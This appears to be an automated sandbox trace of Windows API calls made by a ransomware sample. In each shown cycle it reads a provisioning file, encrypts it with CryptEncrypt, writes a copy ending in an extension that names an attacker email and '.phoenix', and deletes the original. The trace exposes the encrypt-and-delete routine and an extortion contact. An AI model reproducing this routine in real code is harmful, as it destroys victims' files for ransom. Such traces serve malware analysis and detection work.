	[0238.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.070] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.070] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.070] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.071] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0238.071] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.071] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x286, lpOverlapped=0x0) returned 1
	[0238.233] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0238.233] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0238.234] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151080) returned 1
	[0238.234] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.234] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0238.234] CryptDestroyKey (hKey=0x151080) returned 1
	[0238.234] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0238.234] CryptDestroyKey (hKey=0x151380) returned 1
	[0238.234] CloseHandle (hObject=0x2d4) returned 1
	[0238.234] CloseHandle (hObject=0x2c0) returned 1
	[0238.235] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.235] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.235] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.236] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=716) returned 1
	[0238.236] CloseHandle (hObject=0x2c0) returned 1
	[0238.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.236] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.236] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.236] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.236] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.237] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0238.237] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.237] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cc, lpOverlapped=0x0) returned 1
	[0238.243] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0238.243] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0238.243] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0238.243] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.243] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0238.244] CryptDestroyKey (hKey=0x151580) returned 1
	[0238.244] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0238.244] CryptDestroyKey (hKey=0x151500) returned 1
	[0238.244] CloseHandle (hObject=0x2c0) returned 1
	[0238.244] CloseHandle (hObject=0x2d4) returned 1
	[0238.244] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.247] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.247] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.248] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=482) returned 1
	[0238.248] CloseHandle (hObject=0x2d4) returned 1
	[0238.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0238.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.248] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.248] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.248] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.248] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.249] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0238.249] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.249] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e2, lpOverlapped=0x0) returned 1
	[0238.250] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0238.250] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0238.251] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0238.251] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.251] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0238.251] CryptDestroyKey (hKey=0x151380) returned 1
	[0238.251] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0238.251] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0238.251] CloseHandle (hObject=0x2d4) returned 1
	[0238.251] CloseHandle (hObject=0x2c0) returned 1
	[0238.251] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0238.252] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.252] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.252] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=726) returned 1
	[0238.253] CloseHandle (hObject=0x2c0) returned 1
	[0238.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.253] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.253] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.253] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.253] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.254] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0238.254] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.254] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d6, lpOverlapped=0x0) returned 1
	[0238.344] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0238.344] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0238.345] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0238.345] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.345] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0238.345] CryptDestroyKey (hKey=0x151180) returned 1
	[0238.345] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0238.345] CryptDestroyKey (hKey=0x151400) returned 1
	[0238.345] CloseHandle (hObject=0x2c0) returned 1
	[0238.345] CloseHandle (hObject=0x2d4) returned 1
	[0238.345] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.346] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.346] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.347] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=477) returned 1
	[0238.347] CloseHandle (hObject=0x2d4) returned 1
	[0238.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.347] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.347] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.347] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
